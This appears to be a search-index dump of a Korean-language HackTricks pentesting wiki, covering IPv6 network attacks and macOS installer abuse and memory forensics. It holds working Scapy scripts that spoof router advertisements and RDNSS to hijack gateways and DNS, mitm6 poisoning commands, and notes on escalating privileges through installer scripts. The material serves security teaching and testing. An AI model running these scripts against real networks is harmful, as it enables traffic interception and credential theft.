pkt else \'?\'\\nip6_dst = pkt[IPv6].dst if IPv6 in pkt else \'?\' # Identify protocol family first\\nfor proto,(desc,color) in ICMP6_TYPES.items():\\nif proto in pkt:\\nbreak\\nelse:\\nif UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port\\nfor dhcp_t,name in DHCP6_TYPES.items():\\nif dhcp_t in pkt:\\ndesc = \'DHCPv6 – \'+name; color = Fore.YELLOW; break\\nelse:\\nreturn # not a DHCPv6 message we track\\nelse:\\nreturn # not interesting print(color + f\\"[{datetime.now().strftime(\'%H:%M:%S\')}] {desc}\\")\\nprint(f\\" MAC {eth_src} -> {eth_dst}\\")\\nprint(f\\" IPv6 {ip6_src} -> {ip6_dst}\\")\\nprint(\'-\'*60) if __name__ == \'__main__\':\\nargp = argparse.ArgumentParser(description=\'IPv6 NDP & DHCPv6 sniffer\')\\nargp.add_argument(\'-i\',\'--interface\',required=True,help=\'Interface to sniff\')\\nargp.add_argument(\'-t\',\'--time\',type=int,default=0,help=\'Duration (0 = infinite)\')\\na = argp.parse_args()\\nsniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) 결과: 몇 초 만에 전체 링크 로컬 토폴로지 (MAC ⇄ IPv6)를 생성하며, 능동 스캔에 의존하는 IPS/IDS 시스템을 트리거하지 않습니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » Passive NDP & DHCPv6 Sniffing","id":"223","title":"Passive NDP & DHCPv6 Sniffing"},"2230":{"body":"확장 속성 com.apple.decmpfs는 파일이 암호화되어 저장됨을 나타내며, ls -l은 크기가 0 으로 보고하고 압축된 데이터는 이 속성 안에 있습니다. 파일에 접근할 때마다 메모리에서 복호화됩니다. 이 속성은 ls -lO로 확인할 수 있으며, 압축된 파일은 UF_COMPRESSED 플래그로 태그가 붙어 압축된 것으로 표시됩니다. 압축된 파일이 chflags nocompressed 로 제거되면, 시스템은 해당 파일이 압축되었다는 것을 알지 못하므로 데이터를 복원하고 접근할 수 없습니다(실제로 비어 있다고 생각할 것입니다). 도구 afscexpand를 사용하여 파일을 강제로 압축 해제할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » decmpfs","id":"2230","title":"decmpfs"},"2231":{"body":"Mac OS 바이너리는 일반적으로 유니버설 바이너리 로 컴파일됩니다. 유니버설 바이너리 는 같은 파일에서 여러 아키텍처를 지원할 수 있습니다 . macOS Universal binaries & Mach-O Format","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » Universal binaries & Mach-o Format","id":"2231","title":"Universal binaries & Mach-o Format"},"2232":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Process Memory","id":"2232","title":"macOS Process Memory"},"2233":{"body":"macOS Memory Dumping","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS memory dumping","id":"2233","title":"macOS memory dumping"},"2234":{"body":"디렉토리 /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System는 다양한 파일 확장자와 관련된 위험 정보가 저장되는 곳 입니다. 이 디렉토리는 파일을 다양한 위험 수준으로 분류하여 Safari가 다운로드 시 이러한 파일을 처리하는 방식에 영향을 미칩니다. 카테고리는 다음과 같습니다: LSRiskCategorySafe : 이 카테고리의 파일은 완전히 안전한 것으로 간주됩니다. Safari는 다운로드 후 자동으로 이러한 파일을 엽니다. LSRiskCategoryNeutral : 이 파일은 경고 없이 제공되며 Safari에 의해 자동으로 열리지 않습니다 . LSRiskCategoryUnsafeExecutable : 이 카테고리의 파일은 경고를 발생시킵니다 . 이는 파일이 애플리케이션임을 나타내며, 사용자에게 경고하는 보안 조치입니다. LSRiskCategoryMayContainUnsafeExecutable : 이 카테고리는 실행 파일을 포함할 수 있는 아카이브와 같은 파일을 위한 것입니다. Safari는 모든 내용이 안전하거나 중립적임을 확인할 수 없는 경우 경고를 발생시킵니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » Risk Category Files Mac OS","id":"2234","title":"Risk Category Files Mac OS"},"2235":{"body":"$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 : 다운로드된 파일에 대한 정보, 예를 들어 다운로드된 URL을 포함합니다. /var/log/system.log : OSX 시스템의 주요 로그입니다. com.apple.syslogd.plist는 syslogging의 실행을 담당합니다(비활성화된 경우 launchctl list에서 \\"com.apple.syslogd\\"를 찾아 확인할 수 있습니다). /private/var/log/asl/*.asl : 흥미로운 정보를 포함할 수 있는 Apple 시스템 로그입니다. $HOME/Library/Preferences/com.apple.recentitems.plist : \\"Finder\\"를 통해 최근에 접근한 파일과 애플리케이션을 저장합니다. $HOME/Library/Preferences/com.apple.loginitems.plsit : 시스템 시작 시 실행할 항목을 저장합니다. $HOME/Library/Logs/DiskUtility.log : DiskUtility 앱의 로그 파일(드라이브에 대한 정보, USB 포함). /Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist : 무선 액세스 포인트에 대한 데이터입니다. /private/var/db/launchd.db/com.apple.launchd/overrides.plist : 비활성화된 데몬 목록입니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » Log files","id":"2235","title":"Log files"},"2236":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Bundles » macOS Bundles","id":"2236","title":"macOS Bundles"},"2237":{"body":"macOS의 번들은 애플리케이션, 라이브러리 및 기타 필요한 파일을 포함하는 컨테이너 역할을 하여 Finder에서 *.app 파일과 같은 단일 객체로 나타납니다. 가장 일반적으로 접하는 번들은 .app 번들이지만, .framework, .systemextension, .kext와 같은 다른 유형도 널리 퍼져 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Bundles » Basic Information","id":"2237","title":"Basic Information"},"2238":{"body":"번들 내, 특히 .app/Contents/ 디렉토리 내에는 다양한 중요한 리소스가 포함되어 있습니다: _CodeSignature : 이 디렉토리는 애플리케이션의 무결성을 검증하는 데 중요한 코드 서명 세부정보를 저장합니다. 다음과 같은 명령어를 사용하여 코드 서명 정보를 검사할 수 있습니다: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%% MacOS : 사용자 상호작용 시 실행되는 애플리케이션의 실행 가능한 바이너리를 포함합니다. Resources : 이미지, 문서 및 인터페이스 설명(nib/xib 파일)을 포함한 애플리케이션의 사용자 인터페이스 구성 요소를 위한 저장소입니다. Info.plist : 시스템이 애플리케이션을 적절하게 인식하고 상호작용하는 데 중요한 애플리케이션의 주요 구성 파일 역할을 합니다. Important Keys in Info.plist Info.plist 파일은 애플리케이션 구성의 초석으로, 다음과 같은 키를 포함합니다: CFBundleExecutable : Contents/MacOS 디렉토리에 위치한 주요 실행 파일의 이름을 지정합니다. CFBundleIdentifier : 애플리케이션에 대한 전역 식별자를 제공하며, macOS에서 애플리케이션 관리를 위해 광범위하게 사용됩니다. LSMinimumSystemVersion : 애플리케이션이 실행되기 위해 필요한 최소 macOS 버전을 나타냅니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Bundles » Essential Components of a Bundle","id":"2238","title":"Essential Components of a Bundle"},"2239":{"body":"Safari.app와 같은 번들의 내용을 탐색하려면 다음 명령어를 사용할 수 있습니다: bash ls -lR /Applications/Safari.app/Contents 이 탐색은 _CodeSignature, MacOS, Resources와 같은 디렉토리 및 Info.plist와 같은 파일을 드러내며, 각각 애플리케이션 보안, 사용자 인터페이스 정의 및 운영 매개변수 설정과 같은 고유한 목적을 수행합니다. Additional Bundle Directories 일반 디렉토리 외에도 번들은 다음을 포함할 수 있습니다: Frameworks : 애플리케이션에서 사용하는 번들된 프레임워크를 포함합니다. 프레임워크는 추가 리소스가 있는 dylibs와 같습니다. PlugIns : 애플리케이션의 기능을 향상시키는 플러그인 및 확장을 위한 디렉토리입니다. XPCServices : 애플리케이션이 프로세스 외 통신을 위해 사용하는 XPC 서비스를 보유합니다. 이 구조는 모든 필요한 구성 요소가 번들 내에 캡슐화되어 모듈화되고 안전한 애플리케이션 환경을 촉진하도록 보장합니다. Info.plist 키와 그 의미에 대한 더 자세한 정보는 Apple 개발자 문서에서 광범위한 리소스를 제공합니다: Apple Info.plist Key Reference . tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Bundles » Exploring Bundles","id":"2239","title":"Exploring Bundles"},"224":{"body":"IPv6 호스트는 기본 게이트웨이 검색을 위해 ICMPv6 라우터 광고 에 의존합니다. 정품 라우터보다 더 자주 위조된 RA를 주입하면, 장치들은 조용히 당신을 게이트웨이로 전환합니다. python #!/usr/bin/env python3\\nfrom scapy.all import *\\nimport argparse p = argparse.ArgumentParser()\\np.add_argument(\'-i\',\'--interface\',required=True)\\np.add_argument(\'-m\',\'--mac\',required=True,help=\'Source MAC (will be put in SrcLL option)\')\\np.add_argument(\'--llip\',required=True,help=\'Link-local source IP, e.g. fe80::dead:beef\')\\np.add_argument(\'-l\',\'--lifetime\',type=int,default=1800,help=\'Router lifetime\')\\np.add_argument(\'--interval\',type=int,default=5,help=\'Seconds between RAs\')\\np.add_argument(\'--revert\',action=\'store_true\',help=\'Send lifetime=0 to undo attack\')\\nargs = p.parse_args() lifetime = 0 if args.revert else args.lifetime\\nra = (IPv6(src=args.llip,dst=\'ff02::1\',hlim=255)/\\nICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference\\nICMPv6NDOptSrcLLAddr(lladdr=args.mac)) send(ra,iface=args.interface,loop=1,inter=args.interval) 실제로 트래픽을 전달 하려면 경주에서 이긴 후: bash sudo sysctl -w net.ipv6.conf.all.forwarding=1\\nsudo ip6tables -A FORWARD -i eth0 -j ACCEPT\\nsudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 라우터 광고 플래그 (M/O) 및 기본 라우터 선호도 (Prf) 플래그 의미 클라이언트 행동에 미치는 영향 M (관리형 주소 구성) 1로 설정되면 호스트는 DHCPv6 를 사용하여 IPv6 주소를 얻어야 합니다. 전체 주소는 DHCPv6에서 나오므로 mitm6 스타일의 중독에 적합합니다. O (기타 구성) 1로 설정되면 호스트는 DHCPv6 를 사용하여 기타 정보(DNS, NTP 등)를 얻어야 합니다. 주소는 여전히 SLAAC를 통해 제공되지만 DNS는 DHCPv6로 탈취될 수 있습니다. M=0 / O=0 순수 SLAAC 네트워크. RA / RDNSS 트릭만 가능하며, 클라이언트는 DHCPv6를 전송하지 않습니다. M=1 / O=1 혼합 환경. DHCPv6와 SLAAC가 모두 사용되며, 스푸핑을 위한 표면이 가장 큽니다. 펜테스트 중에 합법적인 RA를 한 번 검사하고 어떤 벡터가 실행 가능한지 결정할 수 있습니다: bash sudo tcpdump -vvv -i eth0 \'icmp6 && ip6[40] == 134\' # capture Router Advertisements 덤프에서 flags [M,O] 필드를 찾으세요 – 추측할 필요 없습니다. Prf (라우터 선호도) 필드는 RA 헤더 내에서 다수 의 게이트웨이가 존재할 때 당신의 악성 라우터가 얼마나 매력적으로 보이는지를 제어합니다: Prf 값 이진수 의미 높음 10 클라이언트는 이 라우터를 모든 중간 / 낮은 라우터보다 선호합니다 중간 (기본값) 01 거의 모든 합법적인 장치에서 사용됩니다 낮음 00 더 나은 라우터가 존재하지 않을 때만 선택됩니다 Scapy로 패킷을 생성할 때 위와 같이 prf 매개변수를 통해 설정할 수 있습니다 (prf=0x1 → 높음). 높은 Prf , 짧은 간격 , 그리고 0이 아닌 수명 을 결합하면 당신의 악성 게이트웨이가 놀라울 정도로 안정적입니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 라우터 광고 (RA) 스푸핑","id":"224","title":"라우터 광고 (RA) 스푸핑"},"2240":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » macOS Installers Abuse","id":"2240","title":"macOS Installers Abuse"},"2241":{"body":"macOS 설치 패키지 (또는 .pkg 파일로도 알려짐)는 macOS에서 소프트웨어를 배포하기 위해 사용되는 파일 형식 입니다. 이 파일들은 소프트웨어가 올바르게 설치되고 실행되는 데 필요한 모든 것을 담고 있는 상자 와 같습니다. 패키지 파일 자체는 대상 컴퓨터에 설치될 파일 및 디렉토리의 계층 을 포함하는 아카이브입니다. 또한 설치 전후에 작업을 수행하기 위한 스크립트 를 포함할 수 있으며, 예를 들어 구성 파일을 설정하거나 소프트웨어의 이전 버전을 정리하는 작업이 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » Pkg 기본 정보","id":"2241","title":"Pkg 기본 정보"},"2242":{"body":"배포 (xml) : 사용자 정의(제목, 환영 텍스트…) 및 스크립트/설치 확인 PackageInfo (xml) : 정보, 설치 요구 사항, 설치 위치, 실행할 스크립트 경로 자재 명세서 (bom) : 설치, 업데이트 또는 제거할 파일 목록과 파일 권한 페이로드 (CPIO 아카이브 gzip 압축) : PackageInfo에서 install-location에 설치할 파일 스크립트 (CPIO 아카이브 gzip 압축) : 설치 전후 스크립트 및 실행을 위해 임시 디렉토리에 추출된 추가 리소스.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » 계층","id":"2242","title":"계층"},"2243":{"body":"bash # Tool to directly get the files inside a package\\npkgutil —expand \\"/path/to/package.pkg\\" \\"/path/to/out/dir\\" # Get the files ina. more manual way\\nmkdir -p \\"/path/to/out/dir\\"\\ncd \\"/path/to/out/dir\\"\\nxar -xf \\"/path/to/package.pkg\\" # Decompress also the CPIO gzip compressed ones\\ncat Scripts | gzip -dc | cpio -i\\ncpio -i < Scripts 설치 프로그램의 내용을 수동으로 압축 해제하지 않고 시각화하려면 무료 도구 Suspicious Package 를 사용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » 압축 해제","id":"2243","title":"압축 해제"},"2244":{"body":"DMG 파일, 또는 Apple Disk Images는 Apple의 macOS에서 디스크 이미지를 위해 사용되는 파일 형식입니다. DMG 파일은 본질적으로 마운트 가능한 디스크 이미지 (자체 파일 시스템을 포함)로, 일반적으로 압축되고 때때로 암호화된 원시 블록 데이터를 포함합니다. DMG 파일을 열면 macOS가 물리적 디스크처럼 마운트 하여 그 내용을 접근할 수 있게 합니다. caution .dmg 설치 프로그램은 매우 많은 형식 을 지원하므로, 과거에 취약점을 포함한 일부가 커널 코드 실행 을 얻기 위해 악용되었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » DMG 기본 정보","id":"2244","title":"DMG 기본 정보"},"2245":{"body":"DMG 파일의 계층 구조는 내용에 따라 다를 수 있습니다. 그러나 애플리케이션 DMG의 경우 일반적으로 다음 구조를 따릅니다: 최상위: 디스크 이미지의 루트입니다. 일반적으로 애플리케이션과 애플리케이션 폴더에 대한 링크를 포함합니다. 애플리케이션 (.app): 실제 애플리케이션입니다. macOS에서 애플리케이션은 일반적으로 애플리케이션을 구성하는 여러 개별 파일과 폴더를 포함하는 패키지입니다. 애플리케이션 링크: macOS의 애플리케이션 폴더에 대한 바로 가기입니다. 이는 애플리케이션 설치를 쉽게 하기 위한 것입니다. .app 파일을 이 바로 가기로 드래그하여 앱을 설치할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » 계층 구조","id":"2245","title":"계층 구조"},"2246":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » pkg 악용을 통한 권한 상승","id":"2246","title":"pkg 악용을 통한 권한 상승"},"2247":{"body":"예를 들어, 설치 전 또는 후 스크립트가 **/var/tmp/Installerutil**에서 실행되고, 공격자가 해당 스크립트를 제어할 수 있다면, 스크립트가 실행될 때마다 권한을 상승시킬 수 있습니다. 또는 또 다른 유사한 예: https://www.youtube.com/watch?v=kCXhIYtODBg","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » 공개 디렉토리에서의 실행","id":"2247","title":"공개 디렉토리에서의 실행"},"2248":{"body":"이는 여러 설치 프로그램과 업데이트 프로그램이 **루트로 무언가를 실행하기 위해 호출하는 공개 함수 **입니다. 이 함수는 실행할 파일의 경로 를 매개변수로 받아들이지만, 공격자가 이 파일을 수정 할 수 있다면, 루트로 실행을 악용 하여 권한을 상승 시킬 수 있습니다. bash # Breakpoint in the function to check wich file is loaded\\n(lldb) b AuthorizationExecuteWithPrivileges\\n# You could also check FS events to find this missconfig 더 많은 정보는 이 강의를 확인하세요: https://www.youtube.com/watch?v=lTOItyjTTkw","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » AuthorizationExecuteWithPrivileges","id":"2248","title":"AuthorizationExecuteWithPrivileges"},"2249":{"body":"설치 프로그램이 /tmp/fixedname/bla/bla에 쓸 경우, 소유자가 없는 /tmp/fixedname 위에 마운트를 생성 하여 설치 과정 중에 어떤 파일도 수정 할 수 있습니다. 이의 예로 CVE-2021-26089 가 있으며, 이는 주기적인 스크립트 를 루트 권한으로 실행 하기 위해 덮어쓰는 데 성공했습니다. 더 많은 정보는 이 강의를 확인하세요: OBTS v4.0: \\"Mount(ain) of Bugs\\" - Csaba Fitzl","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » 마운트를 통한 실행","id":"2249","title":"마운트를 통한 실행"},"225":{"body":"RFC 8106 은 RA 내에 재귀 DNS 서버 (RDNSS) 옵션을 추가하는 것을 허용합니다. 현대 운영 체제(Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved 등)는 이를 자동으로 신뢰합니다: python #!/usr/bin/env python3\\nfrom scapy.all import *\\nimport argparse p = argparse.ArgumentParser()\\nP = p.add_argument\\nP(\'-i\',\'--interface\',required=True)\\nP(\'--llip\',required=True)\\nP(\'--dns\',required=True,help=\'Fake DNS IPv6\')\\nP(\'--lifetime\',type=int,default=600)\\nP(\'--interval\',type=int,default=5)\\nargs = p.parse_args() ra = (IPv6(src=args.llip,dst=\'ff02::1\',hlim=255)/\\nICMPv6ND_RA(routerlifetime=0)/\\nICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) send(ra,iface=args.interface,loop=1,inter=args.interval) 클라이언트는 주어진 수명 동안 DNS를 자신의 리졸버 목록에 선행 추가 하여 값이 만료되거나 lifetime=0 리버트를 전송할 때까지 전체 DNS 하이재킹을 허용합니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » RDNSS (DNS) 스푸핑을 통한 RA","id":"225","title":"RDNSS (DNS) 스푸핑을 통한 RA"},"2250":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » pkg를 악성 소프트웨어로 사용하기","id":"2250","title":"pkg를 악성 소프트웨어로 사용하기"},"2251":{"body":"실제 페이로드 없이 스크립트 전후 설치 를 포함한 .pkg 파일을 생성하는 것이 가능합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » 빈 페이로드","id":"2251","title":"빈 페이로드"},"2252":{"body":"패키지의 배포 xml 파일에 \\n\\n\\n\\n\\n\\n\\n\\n\\n#myapp.pkg\\n\\nEOF # Buil final\\nproductbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » 백도어 설치 프로그램","id":"2253","title":"백도어 설치 프로그램"},"2254":{"body":"DEF CON 27 - 패키지 압축 해제: macOS 설치 패키지 및 일반 보안 결함 내부 살펴보기 OBTS v4.0: \\"macOS 설치 프로그램의 야생 세계\\" - Tony Lambert DEF CON 27 - 패키지 압축 해제: macOS 설치 패키지 내부 살펴보기 https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Installers Abuse » 참고 문헌","id":"2254","title":"참고 문헌"},"2255":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Memory Dumping » macOS 메모리 덤프","id":"2255","title":"macOS 메모리 덤프"},"2256":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Memory Dumping » 메모리 아티팩트","id":"2256","title":"메모리 아티팩트"},"2257":{"body":"스왑 파일은 /private/var/vm/swapfile0와 같이 물리적 메모리가 가득 찼을 때 캐시 역할을 합니다 . 물리적 메모리에 더 이상 공간이 없을 때, 그 데이터는 스왑 파일로 전송되고 필요에 따라 다시 물리적 메모리로 가져옵니다. 여러 개의 스왑 파일이 존재할 수 있으며, 이름은 swapfile0, swapfile1 등과 같습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Memory Dumping » 스왑 파일","id":"2257","title":"스왑 파일"},"2258":{"body":"/private/var/vm/sleepimage에 위치한 파일은 하이버네이션 모드 에서 중요합니다. OS X가 하이버네이트할 때 메모리의 데이터가 이 파일에 저장됩니다 . 컴퓨터가 깨어나면 시스템은 이 파일에서 메모리 데이터를 검색하여 사용자가 중단한 지점에서 계속할 수 있도록 합니다. 현대 MacOS 시스템에서는 이 파일이 보안상의 이유로 일반적으로 암호화되어 있어 복구가 어려운 점도 주목할 만합니다. sleepimage의 암호화가 활성화되어 있는지 확인하려면 sysctl vm.swapusage 명령을 실행할 수 있습니다. 이 명령은 파일이 암호화되어 있는지 보여줍니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Memory Dumping » 하이버네이트 이미지","id":"2258","title":"하이버네이트 이미지"},"2259":{"body":"MacOS 시스템에서 또 다른 중요한 메모리 관련 파일은 메모리 압력 로그 입니다. 이 로그는 /var/log에 위치하며 시스템의 메모리 사용량 및 압력 이벤트에 대한 자세한 정보를 포함하고 있습니다. 메모리 관련 문제를 진단하거나 시스템이 시간이 지남에 따라 메모리를 관리하는 방식을 이해하는 데 특히 유용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Memory Dumping » 메모리 압력 로그","id":"2259","title":"메모리 압력 로그"},"226":{"body":"SLAAC 대신, Windows 네트워크는 종종 DNS를 위해 무상태 DHCPv6 에 의존합니다. mitm6 는 Solicit 메시지에 자동으로 응답하여 Advertise → Reply 흐름을 통해 당신의 링크-로컬 주소를 300초 동안 DNS로 할당 합니다. 이는 다음을 가능하게 합니다: NTLM 릴레이 공격 (WPAD + DNS 하이재킹) 라우터를 건드리지 않고 내부 이름 해상도 가로채기 일반적인 사용: bash sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning","breadcrumbs":"Pentesting Network » Pentesting IPv6 » DHCPv6 DNS 스푸핑 (mitm6)","id":"226","title":"DHCPv6 DNS 스푸핑 (mitm6)"},"2260":{"body":"MacOS 기기에서 메모리를 덤프하려면 osxpmem 을 사용할 수 있습니다. 참고 : 다음 지침은 Intel 아키텍처를 가진 Mac에서만 작동합니다. 이 도구는 현재 아카이브되었으며 마지막 릴리스는 2017년에 이루어졌습니다. 아래 지침을 사용하여 다운로드한 바이너리는 2017년에 Apple Silicon이 없었기 때문에 Intel 칩을 대상으로 합니다. arm64 아키텍처용으로 바이너리를 컴파일할 수 있을 수도 있지만, 직접 시도해 보아야 합니다. bash #Dump raw format\\nsudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem #Dump aff4 format\\nsudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4 이 오류가 발생하면: osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8) 다음과 같이 수정할 수 있습니다: bash sudo cp -r osxpmem.app/MacPmem.kext \\"/tmp/\\"\\nsudo kextutil \\"/tmp/MacPmem.kext\\"\\n#Allow the kext in \\"Security & Privacy --> General\\"\\nsudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem 다른 오류 는 \\"보안 및 개인 정보 보호 --> 일반\\"에서 kext의 로드를 허용 하여 수정할 수 있습니다. 그냥 허용 하세요. 이 원라이너 를 사용하여 애플리케이션을 다운로드하고, kext를 로드하고, 메모리를 덤프할 수 있습니다: bash sudo su\\ncd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Memory Dumping » osxpmem을 사용한 메모리 덤프","id":"2260","title":"osxpmem을 사용한 메모리 덤프"},"2261":{"body":"Reading time: 10 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » macOS Sensitive Locations & Interesting Daemons","id":"2261","title":"macOS Sensitive Locations & Interesting 